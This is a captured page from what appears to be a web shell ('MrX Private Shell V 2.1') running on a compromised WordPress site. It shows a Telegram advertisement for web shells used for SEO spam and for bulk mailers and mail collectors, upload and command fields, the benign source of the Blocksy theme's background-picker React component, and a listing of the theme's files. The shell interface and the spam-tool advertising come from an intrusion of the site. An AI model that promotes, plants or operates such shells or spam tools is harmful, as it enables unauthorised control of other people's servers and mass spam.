__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import {
	Fragment,
	createElement,
	Component,
	useRef,
	useEffect,
	useMemo,
	useCallback,
	createPortal,
	useState,
} from '@wordpress/element'
import cls from 'classnames'
import BackgroundModal from './background/BackgroundModal'
import OutsideClickHandler from './react-outside-click-handler'
import { getUrlForPattern } from './background/PatternPicker'
import { __ } from 'ct-i18n'

import usePopoverMaker from '../helpers/usePopoverMaker'

/**
 * Support color picker values inside the background picker.
 * Which means transitions from ct-color-picker are made possible thanks to
 * this logic.
 */
const maybeConvertFromColorPickerTo = (value) => {
	if (!value.background_type) {
		if (value[Object.keys(value)[0]].color) {
			return {
				background_type: 'color',
				background_pattern: 'type-1',
				background_image: {
					attachment_id: null,
					x: 0,
					y: 0,
				},

				background_repeat: 'no-repeat',
				background_size: 'auto',
				background_attachment: 'scroll',

				patternColor: {
					default: {
						color: '#e5e7ea',
					},
				},

				backgroundColor: {
					default: value[Object.keys(value)[0]],
				},
			}
		}
	}

	return value
}

const Background = ({ option, value, onChange }) => {
	const [isOpen, setIsOpen] = useState(false)
	const [outsideClickFreezed, setOutsideClickFreezed] = useState(false)
	const backgroundWrapper = useRef()

	value = maybeConvertFromColorPickerTo(value)

	const isInherit =
		!option.has_no_color &&
		value.background_type === 'color' &&
		(value.backgroundColor.default.color === 'CT_CSS_SKIP_RULE' ||
			value.backgroundColor.default.color === 'transparent')

	const isNoColor =
		option.has_no_color &&
		value.background_type === 'color' &&
		(value.backgroundColor.default.color === 'CT_CSS_SKIP_RULE' ||
			value.backgroundColor.default.color === 'transparent')

	const { styles, popoverProps } = usePopoverMaker({
		ref: backgroundWrapper,
		defaultHeight: 434,
		shouldCalculate: backgroundWrapper && backgroundWrapper.current,
	})

	return (
		<div
			ref={backgroundWrapper}
			className={cls('ct-background', {
				active: isOpen,
			})}>
			<div
				className={cls('ct-background-preview', {
					'ct-color-inherit': isInherit,
					'ct-no-color': isNoColor,
				})}
				data-tooltip-reveal="top"
				onClick={(e) => {
					e.preventDefault()
					setIsOpen(!isOpen)

					if (value.background_type === 'color') {
						if (
							value.backgroundColor.default.color ===
								'CT_CSS_SKIP_RULE' ||
							value.backgroundColor.default.color ===
								'transparent'
						) {
							onChange({
								...value,
								backgroundColor: {
									default: {
										color:
											option.default_inherit_color ||
											'#ffffff',
									},
								},
							})
						}
					}
				}}
				data-background-type={value.background_type}
				style={{
					...(value.backgroundColor.default.color.indexOf(
						'CT_CSS_SKIP_RULE'
					) > -1
						? {}
						: {
								backgroundColor:
									value.backgroundColor.default.color,
						  }),

					'--background-position': `${Math.round(
						parseFloat(value.background_image.x) * 100
					)}% ${Math.round(
						parseFloat(value.background_image.y) * 100
					)}%`,

					'--pattern-mask':
						value.background_type === 'pattern'
							? `url(${getUrlForPattern(
									value.background_pattern
							  )})`
							: '',

					'--background-image':
						value.background_type === 'gradient'
							? value.gradient
							: value.background_image.url
							? `${
									value.overlayColor &&
									value.overlayColor.default.color.indexOf(
										'CT_CSS_SKIP_RULE'
									) === -1
										? `linear-gradient(${value.overlayColor.default.color}, ${value.overlayColor.default.color}), `
										: ''
							  }url(${value.background_image.url})`
							: 'none',
					'--pattern-color': value.patternColor.default.color,
				}}>
				<i className="ct-tooltip">
					{
						{
							inherit: __('Inherited', 'blocksy'),
							no_color: __('No Color', 'blocksy'),
							pattern: __('Pattern', 'blocksy'),
							gradient: __('Gradient', 'blocksy'),
							color: __('Color', 'blocksy'),
							image: __('Image', 'blocksy'),
						}[
							isNoColor
								? 'no_color'
								: isInherit
								? 'inherit'
								: value.background_type
						]
					}
				</i>

				{isInherit && (
					<svg width="25" height="25" viewBox="0 0 30 30">
						<path d="M15 3c-3 0-5.7 1.1-7.8 2.9-.4.3-.5.9-.2 1.4.3.4 1 .5 1.4.2h.1C10.3 5.9 12.5 5 15 5c5.2 0 9.5 3.9 10 9h-3l4 6 4-6h-3.1C26.4 7.9 21.3 3 15 3zM4 10l-4 6h3.1c.5 6.1 5.6 11 11.9 11 3 0 5.7-1.1 7.8-2.9.4-.3.5-1 .2-1.4-.3-.4-1-.5-1.4-.2h-.1c-1.7 1.5-4 2.4-6.5 2.4-5.2 0-9.5-3.9-10-9h3L4 10z" />
					</svg>
				)}
			</div>

			{backgroundWrapper &&
				backgroundWrapper.current &&
				createPortal(
					<OutsideClickHandler
						useCapture={false}
						display="block"
						disabled={!isOpen || outsideClickFreezed}
						onOutsideClick={(e) => {
							if (e.target.closest('.components-popover')) {
								return
							}

							setTimeout(() => setIsOpen(false))
						}}
						wrapperProps={{
							style: styles,
							...popoverProps,
							className: cls(
								'ct-option-modal ct-background-modal',
								{
									active: isOpen,
								}
							),
						}}>
						<BackgroundModal
							onChange={onChange}
							value={value}
							option={option}
							isOpen={isOpen}
							setOutsideClickFreezed={setOutsideClickFreezed}
						/>
					</OutsideClickHandler>,
					document.body
				)}
		</div>
	)
}

export default Background

Filemanager

Name Type Size Permission Actions
background Folder 0750
box-shadow Folder 0750
color-palettes Folder 0750
color-picker Folder 0750
ct-addable-box Folder 0750
ct-layers Folder 0750
ct-number Folder 0750
ct-radio Folder 0750
ct-select Folder 0750
ct-slider Folder 0750
ct-spacing Folder 0750
ct-switch Folder 0750
ratio Folder 0750
text Folder 0750
typography Folder 0750
ct-addable-box.js File 6.16 KB 0640
ct-background.js File 5.46 KB 0640
ct-border.js File 2.75 KB 0640
ct-box-shadow.js File 2.64 KB 0640
ct-button.js File 456 B 0640
ct-checkboxes.js File 1.91 KB 0640
ct-color-palettes-mirror.js File 1000 B 0640
ct-color-palettes-picker.js File 6.71 KB 0640
ct-color-picker.js File 2.71 KB 0640
ct-customize-section-title-actions.js File 6.74 KB 0640
ct-customizer-reset-options.js File 1.83 KB 0640
ct-divider.js File 328 B 0640
ct-entity-picker.js File 2.38 KB 0640
ct-file-uploader.js File 2 KB 0640
ct-footer-builder.js File 5.96 KB 0640
ct-header-builder.js File 272 B 0640
ct-image-picker.js File 1.81 KB 0640
ct-image-uploader.js File 10.12 KB 0640
ct-layers-combined.js File 2.22 KB 0640
ct-layers-mirror.js File 1.15 KB 0640
ct-layers.js File 5.39 KB 0640
ct-multi-image-uploader.js File 3.14 KB 0640
ct-notification.js File 378 B 0640
ct-number.js File 454 B 0640
ct-panel.js File 8.88 KB 0640
ct-radio.js File 401 B 0640
ct-ratio.js File 6.87 KB 0640
ct-select.js File 669 B 0640
ct-slider.js File 14.14 KB 0640
ct-spacer.js File 386 B 0640
ct-spacing.js File 5.09 KB 0640
ct-switch.js File 508 B 0640
ct-timer.js File 3.27 KB 0640
ct-title.js File 562 B 0640
ct-typography.js File 7.35 KB 0640
ct-visibility.js File 4.76 KB 0640
ct-woocommerce-columns-and-rows.js File 3 KB 0640
ct-woocommerce-ratio.js File 1.66 KB 0640
date-time-picker.js File 811 B 0640
hidden.js File 243 B 0640
html.js File 264 B 0640
jsx.js File 237 B 0640
react-outside-click-handler.js File 3.17 KB 0640
text.js File 384 B 0640
textarea.js File 518 B 0640
wp-editor.js File 3.67 KB 0640
Filemanager